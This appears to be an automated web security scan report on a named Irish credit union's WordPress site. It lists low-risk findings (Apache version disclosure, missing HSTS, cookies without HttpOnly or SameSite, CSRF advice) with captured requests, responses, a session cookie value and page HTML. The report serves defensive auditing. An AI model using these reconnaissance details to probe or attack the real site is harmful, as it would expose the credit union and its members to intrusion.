<div class="latest_posts_content">At Croí Laighean Credit Union, we realise with the cost of living soaring...</div>
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<a href="https://www.clcu.ie/events/2023-student-bursary-awards-recipients-announced/" title="2023 Student Bursary Awards Recipients Announced">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/2023-student-bursary-awards-recipients-announced/" title="2023 Student Bursary Awards Recipients Announced">2023 Student Bursary Awards Recipients Announced</a></div>
<div class="latest_posts_news_date">15th Jun 2023</div>
<div class="latest_posts_content">Croí Laighean Credit Union is delighted to announce the two recipients of the...</div>
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<a href="https://www.clcu.ie/events/2023-croi-laighean-credit-union-community-fund-recipients/" title="2023 Croí Laighean Credit Union Community Fund Recipients">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/2023-croi-laighean-credit-union-community-fund-recipients/" title="2023 Croí Laighean Credit Union Community Fund Recipients">2023 Croí Laighean Credit Union Community Fund Recipients</a></div>
<div class="latest_posts_news_date">15th Jun 2023</div>
<div class="latest_posts_content">Croí Laighean Credit Union announced the recipients of the CLCU Community Fund 2023...</div>
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/wedding-loan/" title="Wedding Budgeting Tips & Wedding Loans">Wedding Budgeting Tips & Wedding Loans</a></div>
<div class="latest_posts_news_date">27th Apr 2023</div>
<div class="latest_posts_content">While the main idea is to have a day to celebrate and reflect...</div>
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<a href="https://www.clcu.ie/events/fixed-term-loan/" title="Why Choose A Fixed Term Loan">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/fixed-term-loan/" title="Why Choose A Fixed Term Loan">Why Choose A Fixed Term Loan</a></div>
<div class="latest_posts_news_date">2nd May 2023</div>
<div class="latest_posts_content">If you are someone who likes to budget and plan ahead and doesn't...</div>
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<a href="https://www.clcu.ie/events/credit-union-green-loan/" title="Credit Union Green Loan">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/credit-union-green-loan/" title="Credit Union Green Loan">Credit Union Green Loan</a></div>
<div class="latest_posts_news_date">7th Feb 2023</div>
<div class="latest_posts_content">Would you consider paying for 5-6 years of electricity upfront to get 15...</div>
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<a href="https://www.clcu.ie/events/home-improvement-tips/" title="Home Improvement Tips">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/home-improvement-tips/" title="Home Improvement Tips">Home Improvement Tips</a></div>
<div class="latest_posts_news_date">25th Jan 2023</div>
<div class="latest_posts_content">Time to improve or modernise your personal space? Check out our handy home...</div>
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<a href="https://www.clcu.ie/events/compare-childrens-savings-accounts/" title="Compare Children’s Savings Accounts">
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<div class="latest_posts_title"><a href="https://www.clcu.ie/events/compare-childrens-savings-accounts/" title="Compare Children’s Savings Accounts">Compare Children’s Savings Accounts</a></div>
<div class="latest_posts_news_date">15th Nov 2022</div>
<div class="latest_posts_content">Opening a children’s saving account is an effective way to teach your kids...</div>
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Evidence
<form class="search-form" method="get" id="searchform_desktop" action="https://www.clcu.ie" name="frm">
Solution
Phase: Architecture and Design
Use a vetted library or framework that does not allow this
weakness to occur or provides constructs that make this weakness
easier to avoid.
For example, use anti-CSRF packages such as the OWASP CSRFGuard.
Phase: Implementation
Ensure that your application is free of cross-site scripting
issues, because most CSRF defenses can be bypassed using
attacker-controlled script.
Phase: Architecture and Design
Generate a unique nonce for each form, place the nonce into the
form, and verify the nonce upon receipt of the form. Be sure that
the nonce is not predictable (CWE-330).
Note that this can be bypassed using XSS.
Identify especially dangerous operations. When the user performs a
dangerous operation, send a separate confirmation request to
ensure that the user intended to perform that operation.
Note that this can be bypassed using XSS.
Use the ESAPI Session Management control.
This control includes a component for CSRF.
Do not use the GET method for any request that triggers a state
change.
Phase: Implementation
Check the HTTP Referer header to see if the request originated
from an expected page. This could break legitimate functionality,
because users or proxies may have disabled sending the Referer for
privacy reasons.
7. RISK=LOW, CONFIDENCE=HIGH (2)
1. HTTPS://WWW.CLCU.IE (2)
1. SERVER LEAKS VERSION INFORMATION VIA "SERVER" HTTP RESPONSE HEADER
FIELD (1)
1. GET https://www.clcu.ie/wp-admin/admin-ajax.php
Alert tags
* OWASP_2021_A05
* OWASP_2017_A06
* WSTG-v42-INFO-02
Alert description
The web/application server is leaking version information via the
"Server" HTTP response header. Access to such information may
facilitate attackers identifying other vulnerabilities your
web/application server is subject to.
Request Request line and header section (288 bytes)
GET https://www.clcu.ie/wp-admin/admin-ajax.php HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/robots.txt
Request body (0 bytes)
Response Status line and header section (329 bytes)
HTTP/1.1 400 Bad Request
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
X-Robots-Tag: noindex
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store
Vary: Accept-Encoding
content-length: 1
Response body (1 byte)
0
Evidence
Apache/2.4.52 (Ubuntu)
Solution
Ensure that your web server, application server, load balancer,
etc. is configured to suppress the "Server" header or provide
generic details.
2. STRICT-TRANSPORT-SECURITY HEADER NOT SET (1)
1. GET https://www.clcu.ie/wp-admin/admin-ajax.php
Alert tags
* OWASP_2021_A05
* OWASP_2017_A06
Alert description
HTTP Strict Transport Security (HSTS) is a web security policy
mechanism whereby a web server declares that complying user agents
(such as a web browser) are to interact with it using only secure
HTTPS connections (i.e. HTTP layered over TLS/SSL). HSTS is an
IETF standards track protocol and is specified in RFC 6797.
Request Request line and header section (288 bytes)
GET https://www.clcu.ie/wp-admin/admin-ajax.php HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/robots.txt
Request body (0 bytes)
Response Status line and header section (329 bytes)
HTTP/1.1 400 Bad Request
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
X-Robots-Tag: noindex
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store
Vary: Accept-Encoding
content-length: 1
Response body (1 byte)
0
Solution
Ensure that your web server, application server, load balancer,
etc. is configured to enforce Strict-Transport-Security.
8. RISK=LOW, CONFIDENCE=MEDIUM (5)
1. HTTPS://WWW.CLCU.IE (5)
1. COOKIE NO HTTPONLY FLAG (1)
1. GET
https://www.clcu.ie/wp-login.php?reauth=1&redirect_to=https%3A%2F%2Fwww.clcu.ie%2Fwp-admin%2F
Alert tags
* OWASP_2021_A05
* WSTG-v42-SESS-02
* OWASP_2017_A06
Alert description
A cookie has been set without the HttpOnly flag, which means that
the cookie can be accessed by JavaScript. If a malicious script
can be run on this page then the cookie will be accessible and can
be transmitted to another site. If this is a session cookie then
session hijacking may be possible.
Request Request line and header section (383 bytes)
GET https://www.clcu.ie/wp-login.php?reauth=1&redirect_to=https%3A%2F%2Fwww.clcu.ie%2Fwp-admin%2F HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/wp-admin/
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t
Request body (0 bytes)
Response Status line and header section (2484 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Pragma: no-cache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
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Set-Cookie: wp-postpass_a9cc8c6e2805e3f946bcd6ebdc026f87=%20; expires=Sun, 27-Nov-2022 07:22:40 GMT; Max-Age=0; path=/
Upgrade: h2,h2c
Vary: Accept-Encoding
content-length: 8093
Response body (8093 bytes)
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Log In ‹ Croí Laighean Credit Union — WordPress</title>
<meta name='robots' content='noindex, follow' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/jquery/jquery.min.js' id='jquery-core-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/jquery/jquery-migrate.min.js' id='jquery-migrate-js'></script>
<script type='text/javascript' id='wordfence-ls-login-js-extra'>
/* <![CDATA[ */
var WFLS_LOGIN_TRANSLATIONS = {"Message to Support":"Message to Support","Send":"Send","An error was encountered while trying to send the message. Please try again.":"An error was encountered while trying to send the message. Please try again.","<strong>ERROR<\/strong>: An error was encountered while trying to send the message. Please try again.":"<strong>ERROR<\/strong>: An error was encountered while trying to send the message. Please try again.","Wordfence 2FA Code":"Wordfence 2FA Code","Remember for 30 days":"Remember for 30 days","Log In":"Log In","<strong>ERROR<\/strong>: An error was encountered while trying to authenticate. Please try again.":"<strong>ERROR<\/strong>: An error was encountered while trying to authenticate. Please try again.","The Wordfence 2FA Code can be found within the authenticator app you used when first activating two-factor authentication. You may also use one of your recovery codes.":"The Wordfence 2FA Code can be found within the authenticator app you used when first activating two-factor authentication. You may also use one of your recovery codes."};
var WFLSVars = {"ajaxurl":"\/wp-admin\/admin-ajax.php","nonce":"31351e57e0","recaptchasitekey":"","useCAPTCHA":"","allowremember":"","verification":null};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-content/plugins/wordfence/modules/login-security/js/login.1698685182.js' id='wordfence-ls-login-js'></script>
<link rel='stylesheet' id='dashicons-css' href='https://www.clcu.ie/wp-includes/css/dashicons.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='buttons-css' href='https://www.clcu.ie/wp-includes/css/buttons.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='forms-css' href='https://www.clcu.ie/wp-admin/css/forms.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='l10n-css' href='https://www.clcu.ie/wp-admin/css/l10n.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='login-css' href='https://www.clcu.ie/wp-admin/css/login.min.css' type='text/css' media='all' />
<link rel='stylesheet' id='wordfence-ls-login-css' href='https://www.clcu.ie/wp-content/plugins/wordfence/modules/login-security/css/login.1698685182.css' type='text/css' media='all' />
<link rel="shortcut icon" href="https://www.clcu.ie/wp-content/themes/croi-laighean/images/favicon.ico" /><style type="text/css">
.login h1 a{ background-image:url(https://www.clcu.ie/wp-content/themes/croi-laighean/images/logo.svg) !important; background-color:#ffffff; background-size:79%; width:auto; background-position:center center; padding:42px;}
</style> <meta name='referrer' content='strict-origin-when-cross-origin' />
<meta name="viewport" content="width=device-width" />
</head>
<body class="login no-js login-action-login wp-core-ui locale-en-us">
<script type="text/javascript">
document.body.className = document.body.className.replace('no-js','js');
</script>
<div id="login">
<h1><a href="https://www.clcu.ie">Croí Laighean Credit Union</a></h1>
<form name="loginform" id="loginform" action="https://www.clcu.ie/wp-login.php" method="post">
<p>
<label for="user_login">Username or Email Address</label>
<input type="text" name="log" id="user_login" class="input" value="" size="20" autocapitalize="off" autocomplete="username" required="required" />
</p>
<div class="user-pass-wrap">
<label for="user_pass">Password</label>
<div class="wp-pwd">
<input type="password" name="pwd" id="user_pass" class="input password-input" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" />
<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="Show password">
<span class="dashicons dashicons-visibility" aria-hidden="true"></span>
</button>
</div>
</div>
<p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" />
<input type="hidden" name="redirect_to" value="https://www.clcu.ie/wp-admin/" />
<input type="hidden" name="testcookie" value="1" />
</p>
</form>
<p id="nav">
<a href="https://www.clcu.ie/wp-login.php?action=lostpassword">Lost your password?</a> </p>
<script type="text/javascript">
function wp_attempt_focus() {setTimeout( function() {try {d = document.getElementById( "user_login" );d.focus(); d.select();} catch( er ) {}}, 200);}
wp_attempt_focus();
if ( typeof wpOnload === 'function' ) { wpOnload() } </script>
<p id="backtoblog">
<a href="https://www.clcu.ie/">← Go to Croí Laighean Credit Union</a> </p>
<div class="privacy-policy-page-link"><a class="privacy-policy-link" href="https://www.clcu.ie/privacy-policy/" rel="privacy-policy">Privacy Notice</a></div> </div>
<script type='text/javascript' id='zxcvbn-async-js-extra'>
/* <![CDATA[ */
var _zxcvbnSettings = {"src":"https:\/\/www.clcu.ie\/wp-includes\/js\/zxcvbn.min.js"};
/* ]]> */
</script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/zxcvbn-async.min.js' id='zxcvbn-async-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js' id='wp-polyfill-inert-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/vendor/regenerator-runtime.min.js' id='regenerator-runtime-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/vendor/wp-polyfill.min.js' id='wp-polyfill-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/hooks.min.js' id='wp-hooks-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/dist/i18n.min.js' id='wp-i18n-js'></script>
<script id="wp-i18n-js-after" type="text/javascript">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script type='text/javascript' id='password-strength-meter-js-extra'>
/* <![CDATA[ */
var pwsL10n = {"unknown":"Password strength unknown","short":"Very weak","bad":"Weak","good":"Medium","strong":"Strong","mismatch":"Mismatch"};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-admin/js/password-strength-meter.min.js' id='password-strength-meter-js'></script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/underscore.min.js' id='underscore-js'></script>
<script type='text/javascript' id='wp-util-js-extra'>
/* <![CDATA[ */
var _wpUtilSettings = {"ajax":{"url":"\/wp-admin\/admin-ajax.php"}};
/* ]]> */
</script>
<script type='text/javascript' data-cfasync="false" src='https://www.clcu.ie/wp-includes/js/wp-util.min.js' id='wp-util-js'></script>
<script type='text/javascript' id='user-profile-js-extra'>
/* <![CDATA[ */
var userProfileL10n = {"user_id":"0","nonce":"40f9a04043"};
/* ]]> */
</script>
<script type='text/javascript' src='https://www.clcu.ie/wp-admin/js/user-profile.min.js' id='user-profile-js'></script>
<div class="clear"></div>
</body>
</html>
Parameter
wordpress_test_cookie
Evidence
Set-Cookie: wordpress_test_cookie
Solution
Ensure that the HttpOnly flag is set for all cookies.
2. COOKIE WITHOUT SAMESITE ATTRIBUTE (1)
1. GET https://www.clcu.ie/sitemap.xml
Alert tags
* OWASP_2021_A01
* WSTG-v42-SESS-02
* OWASP_2017_A05
Alert description
A cookie has been set without the SameSite attribute, which means
that the cookie can be sent as a result of a 'cross-site' request.
The SameSite attribute is an effective counter measure to
cross-site request forgery, cross-site script inclusion, and
timing attacks.
Request Request line and header section (235 bytes)
GET https://www.clcu.ie/sitemap.xml HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (471 bytes)
HTTP/1.1 301 Moved Permanently
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Pragma: no-cache
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: Yoast SEO
Set-Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t; path=/; secure; HttpOnly
Location: https://www.clcu.ie/sitemap_index.xml
Vary: Accept-Encoding
Response body (0 bytes)
Parameter
PHPSESSID
Evidence
Set-Cookie: PHPSESSID
Solution
Ensure that the SameSite attribute is set to either 'lax' or
ideally 'strict' for all cookies.
3. CROSS-DOMAIN JAVASCRIPT SOURCE FILE INCLUSION (1)
1. GET https://www.clcu.ie
Alert tags
* OWASP_2021_A08
Alert description
The page includes one or more script files from a third-party
domain.
Request Request line and header section (223 bytes)
GET https://www.clcu.ie HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (245 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Sun, 26 Nov 2023 23:24:27 GMT
Vary: Accept-Encoding
content-length: 175025
Response body (175025 bytes)
<!doctype html>
<html lang="en-US">
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RocketLazyLoadScripts{constructor(){this.v="1.2.4",this.triggerEvents=["keydown","mousedown","mousemove","touchmove","touchstart","touchend","wheel"],this.userEventHandler=this._triggerListener.bind(this),this.touchStartHandler=this._onTouchStart.bind(this),this.touchMoveHandler=this._onTouchMove.bind(this),this.touchEndHandler=this._onTouchEnd.bind(this),this.clickHandler=this._onClick.bind(this),this.interceptedClicks=[],window.addEventListener("pageshow",t=>{this.persisted=t.persisted}),window.addEventListener("DOMContentLoaded",()=>{this._preconnect3rdParties()}),this.delayedScripts={normal:[],async:[],defer:[]},this.trash=[],this.allJQueries=[]}_addUserInteractionListener(t){if(document.hidden){t._triggerListener();return}this.triggerEvents.forEach(e=>window.addEventListener(e,t.userEventHandler,{passive:!0})),window.addEventListener("touchstart",t.touchStartHandler,{passive:!0}),window.addEventListener("mousedown",t.touchStartHandler),document.addEventListener("visibilitychange",t.userEventHandler)}_removeUserInteractionListener(){this.triggerEvents.forEach(t=>window.removeEventListener(t,this.userEventHandler,{passive:!0})),document.removeEventListener("visibilitychange",this.userEventHandler)}_onTouchStart(t){"HTML"!==t.target.tagName&&(window.addEventListener("touchend",this.touchEndHandler),window.addEventListener("mouseup",this.touchEndHandler),window.addEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.addEventListener("mousemove",this.touchMoveHandler),t.target.addEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"onclick","rocket-onclick"),this._pendingClickStarted())}_onTouchMove(t){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler),t.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this._pendingClickFinished()}_onTouchEnd(){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler)}_onClick(t){t.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this.interceptedClicks.push(t),t.preventDefault(),t.stopPropagation(),t.stopImmediatePropagation(),this._pendingClickFinished()}_replayClicks(){window.removeEventListener("touchstart",this.touchStartHandler,{passive:!0}),window.removeEventListener("mousedown",this.touchStartHandler),this.interceptedClicks.forEach(t=>{t.target.dispatchEvent(new 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URL(r).origin;i!==location.origin&&t.push({src:i,crossOrigin:e.crossOrigin||"module"===e.getAttribute("data-rocket-type")})}catch(n){}}}),t=[...new Map(t.map(t=>[JSON.stringify(t),t])).values()],this._batchInjectResourceHints(t,"preconnect")}async _loadEverythingNow(){this.lastBreath=Date.now(),this._delayEventListeners(),this._delayJQueryReady(this),this._handleDocumentWrite(),this._registerAllDelayedScripts(),this._preloadAllScripts(),await this._loadScriptsFromList(this.delayedScripts.normal),await this._loadScriptsFromList(this.delayedScripts.defer),await this._loadScriptsFromList(this.delayedScripts.async);try{await this._triggerDOMContentLoaded(),await this._pendingWebpackRequests(this),await this._triggerWindowLoad()}catch(t){console.error(t)}window.dispatchEvent(new Event("rocket-allScriptsLoaded")),this._waitForPendingClicks().then(()=>{this._replayClicks()}),this._emptyTrash()}_registerAllDelayedScripts(){document.querySelectorAll("script[type=rocketlazyloadscript]").forEach(t=>{t.hasAttribute("data-rocket-src")?t.hasAttribute("async")&&!1!==t.async?this.delayedScripts.async.push(t):t.hasAttribute("defer")&&!1!==t.defer||"module"===t.getAttribute("data-rocket-type")?this.delayedScripts.defer.push(t):this.delayedScripts.normal.push(t):this.delayedScripts.normal.push(t)})}async _transformScript(t){if(await this._littleBreath(),!0===t.noModule&&"noModule"in HTMLScriptElement.prototype){t.setAttribute("data-rocket-status","skipped");return}return new Promise(navigator.userAgent.indexOf("Firefox/")>0||""===navigator.vendor?e=>{let r=document.createElement("script");[...t.attributes].forEach(t=>{let e=t.nodeName;"type"!==e&&("data-rocket-type"===e&&(e="type"),"data-rocket-src"===e&&(e="src"),r.setAttribute(e,t.nodeValue))}),t.text&&(r.text=t.text),r.hasAttribute("src")?(r.addEventListener("load",e),r.addEventListener("error",e)):(r.text=t.text,e());try{t.parentNode.replaceChild(r,t)}catch(i){e()}}:e=>{function r(){t.setAttribute("data-rocket-status","failed"),e()}try{let i=t.getAttribute("data-rocket-type"),n=t.getAttribute("data-rocket-src");i?(t.type=i,t.removeAttribute("data-rocket-type")):t.removeAttribute("type"),t.addEventListener("load",function r(){t.setAttribute("data-rocket-status","executed"),e()}),t.addEventListener("error",r),n?(t.removeAttribute("data-rocket-src"),t.src=n):t.src="data:text/javascript;base64,"+window.btoa(unescape(encodeURIComponent(t.text)))}catch(s){r()}})}async _loadScriptsFromList(t){let e=t.shift();return e&&e.isConnected?(await this._transformScript(e),this._loadScriptsFromList(t)):Promise.resolve()}_preloadAllScripts(){this._batchInjectResourceHints([...this.delayedScripts.normal,...this.delayedScripts.defer,...this.delayedScripts.async],"preload")}_batchInjectResourceHints(t,e){var r=document.createDocumentFragment();t.forEach(t=>{let i=t.getAttribute&&t.getAttribute("data-rocket-src")||t.src;if(i){let n=document.createElement("link");n.href=i,n.rel=e,"preconnect"!==e&&(n.as="script"),t.getAttribute&&"module"===t.getAttribute("data-rocket-type")&&(n.crossOrigin=!0),t.crossOrigin&&(n.crossOrigin=t.crossOrigin),t.integrity&&(n.integrity=t.integrity),r.appendChild(n),this.trash.push(n)}}),document.head.appendChild(r)}_delayEventListeners(){let t={};function e(e,r){!function e(r){!t[r]&&(t[r]={originalFunctions:{add:r.addEventListener,remove:r.removeEventListener},eventsToRewrite:[]},r.addEventListener=function(){arguments[0]=i(arguments[0]),t[r].originalFunctions.add.apply(r,arguments)},r.removeEventListener=function(){arguments[0]=i(arguments[0]),t[r].originalFunctions.remove.apply(r,arguments)});function i(e){return t[r].eventsToRewrite.indexOf(e)>=0?"rocket-"+e:e}}(e),t[e].eventsToRewrite.push(r)}function r(t,e){let r=t[e];Object.defineProperty(t,e,{get:()=>r||function(){},set(i){t["rocket"+e]=r=i}})}e(document,"DOMContentLoaded"),e(window,"DOMContentLoaded"),e(window,"load"),e(window,"pageshow"),e(document,"readystatechange"),r(document,"onreadystatechange"),r(window,"onload"),r(window,"onpageshow")}_delayJQueryReady(t){let e;function r(t){return t.split(" ").map(t=>"load"===t||0===t.indexOf("load.")?"rocket-jquery-load":t).join(" ")}function i(i){if(i&&i.fn&&!t.allJQueries.includes(i)){i.fn.ready=i.fn.init.prototype.ready=function(e){return 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<meta name="viewport" content="width=device-width, minimum-scale=1, maximum-scale=1">
<link rel="profile" href="https://gmpg.org/xfn/11">
<script id="Cookiebot" src="https://consent.cookiebot.com/uc.js" data-cbid="368ac9e7-c053-4874-afa7-27a82828d24f" data-blockingmode="auto" type="text/javascript"></script>
<!-- Global site tag (gtag.js) - Google Analytics -->
<script type="rocketlazyloadscript" async data-rocket-src="https://www.googletagmanager.com/gtag/js?id=UA-127639971-1"></script>
<script type="rocketlazyloadscript">
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-127639971-1');
</script>
<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
<!-- This site is optimized with the Yoast SEO Premium plugin v21.5 (Yoast SEO v21.5) - https://yoast.com/wordpress/plugins/seo/ -->
<title>Credit Union | Croí Laighean Credit Union</title>
<meta name="description" content="Your local Credit Union. Modern finance solutions with a personal touch! Explore loans, current accounts, insurance & savings products." />
<link rel="canonical" href="https://www.clcu.ie/" />
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="website" />
<meta property="og:title" content="Croí Laighean Credit Union" />
<meta property="og:url" content="https://www.clcu.ie/" />
<meta property="og:site_name" content="Croí Laighean Credit Union" />
<meta property="article:publisher" content="https://www.facebook.com/CLCreditUnion" />
<meta property="article:modified_time" content="2023-11-21T17:01:17+00:00" />
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<div id="content" class="site-content">
<h1 class="h1_hide">Croí Laighean Credit Union</h1>
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We're dropping our Mortgage Rates!
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<p>Yes, that’s right! We’re DROPPING our mortgage rates. New rates from 3.75% (3.81% APR).</p>
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Credit Union Christmas Loan
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One 4 One Loan
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<p>Borrow up to €1,000 for up to 1 year with a low-interest rate of just 6.73% (6.95% APR).</p>
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<a href="https://www.clcu.ie/one-4-one-loan/">Find Out More</a>
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Get a 232 <br>for 5.5%
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<p>Get that new car feeling with our <strong>lowest-ever</strong> car loan rate of 5.5% (5.64% APR).</p>
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<a href="https://www.clcu.ie/pcp-buster-our-lowest-car-loan-rate/">Find Out More</a>
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Our New<br>Car Insurance
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<p>Always the right cover at the best possible price, every year!</p>
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<a href="https://www.peopl.ie/car-insurance?referralsource=CroiLaigheanCU">Find Out More</a>
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Give Your Bank The Boot!
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<p>With lower fees, 24/7 online banking, Mastercard® debit card, and digital wallets, our current account has everything you need.</p>
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<a href="https://www.clcu.ie/switch-to-a-credit-union-current-account/">Switch Today</a>
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Our New <br>Green Loan
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<p>Good for the environment. Better for your pocket.</p>
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<h4>Great value loans</h4> </div>
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interest calculated on reducing loan balance </div>
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<h4>Over €<span class="counter">53</span> million</h4> </div>
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borrowed by members in 2021/22 </div>
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<h4><span class="counter">99</span>%</h4> </div>
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Loan approval rate </div>
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<h2>Your Local Credit Union Serving Offaly & Kildare</h2>
<p>Serving Offaly & Kildare, Croí Laighean Credit Union has a friendly approach to modern finance. We may work with figures all day, but you’ll always be more than a number. Our award winning customer service is both personal and professional because our members are at the heart of everything we do.<br><br>
As a not-for-profit Credit Union, we make it simple to borrow and to save for the future, with convenient savings, financial guidance and the best loan rates in the locality. If you're looking for a great value loan, use our handy calculator below.
<br><br><b><i>If you're not a member, don't worry! We made it simple and you can apply for a loan and join Croí Laighean Credit Union at the same time!</i></b></p>
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<h3>Am I eligible to join Croí Laighean Credit Union</h3>
<link data-minify="1" href="https://www.clcu.ie/wp-content/cache/min/1/2.0/control/css/autoaddress.min.css?ver=1700138050" rel="stylesheet"/>
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<a class="nav-link active" id="home-tab" data-toggle="tab" href="#tab_1" role="tab" title="Loan calculator">Loan calculator</a>
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<div class="res-tab open" datarowcolor="#d52f89" style="background-color:#d52f89 " >Loan calculator</div>
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<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Loan Calculator" title="tab1pics" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/tab1pics-1.png"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/tab1pics-1.png" alt="Credit Union Loan Calculator" title="tab1pics"></noscript>
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<div class="right_title">
<h3><a href="https://www.clcu.ie/loans/" title="Loan Calculator">Loan Calculator</a></h3>
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<h4><strong><em>To view our new lower mortgage rates, <a href="https://www.clcu.ie/credit-union-mortgages/">please click here</a>.</em></strong></h4>
<div class="calc_container">
<div class="calc_box">
<div class="calc_left">
<div class="lontype_title">Loan Type</div>
<div class="loan_cal_type">
<select class="selectloantype">
<option value="1">Green Loan</option><option value="2" selected>Car Loan</option><option value="3">PCP Buster</option><option value="4">Community Loan</option><option value="5">Consolidation Loan</option><option value="6">Covered Loan</option><option value="7">Home Improvement Loan</option><option value="8">One 4 One Loan</option><option value="9">Standard Personal Loan</option><option value="10">Student Loan</option><option value="11">5 Year Fixed Loan</option><option value="12">7 Year Fixed Loan</option><option value="13">10 Year Fixed Loan</option> </select>
</div>
<div class="loan_leftwrap loan">
<div class="calc_row1 calc_process">
<input type="text" id="amount" name="amount" readonly='true' onkeydown='javascript: handleBackspaceKeyCompat(event);' class="input_invisible" value="" />
<div class="calc_bar">
